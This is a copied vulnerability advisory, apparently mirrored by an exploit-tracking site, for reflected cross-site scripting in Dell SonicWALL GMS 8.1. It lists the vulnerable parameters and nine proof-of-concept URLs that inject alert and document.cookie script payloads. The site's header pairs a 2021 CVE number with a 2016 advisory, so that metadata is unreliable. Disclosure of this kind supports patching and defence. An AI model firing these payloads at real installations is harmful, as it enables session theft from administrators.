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Dell SonicWALL Global Management System GMS 8.1 Cross Site Scripting

CVE Category Price Severity
CVE-2021-20021 CWE-79 Not specified Medium
Author Risk Exploitation Type Date
N/A Medium Remote 2016-12-31
CPE
cpe:cpe:/a:dell:sonicwall_global_management_system:8.1
CVSS EPSS EPSSP
Not specified 0.04824 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2016120169

Below is a copy:

Dell SonicWALL Global Management System GMS 8.1 Cross Site ScriptingDell SonicWALL Global Management System GMS 8.1 XSS Vulnerabilities


Vendor: Dell Inc.
Product web page: https://www.sonicwall.com/products/sonicwall-gms/
Affected version: 8.1
                  8.0 SP1 Build 8048.1410
                  Flow Server Virtual Appliance
                  Analyzer Virtual Appliance

Fixed in: 8.2 (VR-2016-01-C1D)

Summary: Provide your organization, distributed enterprise or managed
service offering with an intuitive, powerful way to rapidly deploy and
centrally manage SonicWall solutions, with SonicWall GMS. Get more value
from your firewall, secure remote access, anti-spam, and backup and recovery
solutions with enhanced network security monitoring and robust network
security reporting. By deploying GMS in an enterprise, you can minimize
administrative overhead by streamlining security appliance deployment
and policy management.

Desc: Dell SonicWALL GMS suffers from multiple reflected XSS vulnerabilities
when input passed via several parameters to several scripts is not properly
sanitized before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context of an
affected site.

Tested on: SonicWALL
           MySQL/5.0.96-community-nt
           Apache-Coyote/1.1
           Apache Tomcat 6.0.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5389
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5389.php

Vendor: https://support.sonicwall.com/product-notification/215257?productName=SonicWALL%20GMS


26.01.2016

--


Reflected Cross-Site Scripting (XSS) via several parameters:

- typeOfUnits (GET)
- level (GET)
- node_id (GET)
- node_name (GET)
- reportId (GET)
- reportName (GET)
- unitType (GET)
- help_url (GET)
- screenID (GET)


PoC:

http://127.0.0.1/sgms/panelManager?panelidz=0,4&level=1&typeOfUnits=11d0a4%27-alert(%27XSS%27)-%27f313a&node_name=Admin%20Overview&node_id=0
http://127.0.0.1/sgms/reports/ng/vpngHome.jsp?level=170268%27%3balert(document.cookie)%2f%2f784&node_id=0&unused=&help_url=&node_name=Admin%20Overview&unitType=1&reportId=37011&reportName=Data%20Usage%20Summary
http://127.0.0.1/sgms/reports/ng/vpngHome.jsp?level=1&node_id=055756%27%3balert(1)%2f%2f153&unused=&help_url=&node_name=Admin%20Overview&unitType=1&reportId=37011&reportName=Data%20Usage%20Summary
http://127.0.0.1/sgms/panelManager?panelidz=0,4&level=1&typeOfUnits=1&node_name=Admin%20Overview06654'-alert(1)-'426bf&node_id=0
http://127.0.0.1/sgms/reports/ng/vpngHome.jsp?level=1&node_id=0&unused=&help_url=&node_name=Admin%20Overview&unitType=1&reportId=3701183611'%3balert(1)%2f%2f644&reportName=Data%20Usage%20Summary
http://127.0.0.1/sgms/reports/ng/vpngHome.jsp?level=1&node_id=0&unused=&help_url=&node_name=Admin%20Overview&unitType=1&reportId=37011&reportName=Data%20Usage%20Summary52987'%3balert(1)%2f%2f284
http://127.0.0.1/sgms/reports/ng/vpngHome.jsp?level=1&node_id=0&unused=&help_url=&node_name=Admin%20Overview&unitType=151708'%3balert(1)%2f%2f623&reportId=37011&reportName=Data%20Usage%20Summary
http://127.0.0.1/sgms/reports/ng/vpngHome.jsp?level=1&node_id=0&unused=&help_url=99367'%3balert(1)%2f%2f736&node_name=Admin%20Overview&unitType=1&reportId=37011&reportName=Data%20Usage%20Summary
http://127.0.0.1/sgms/contents.jsp?screenID=';alert(251)//


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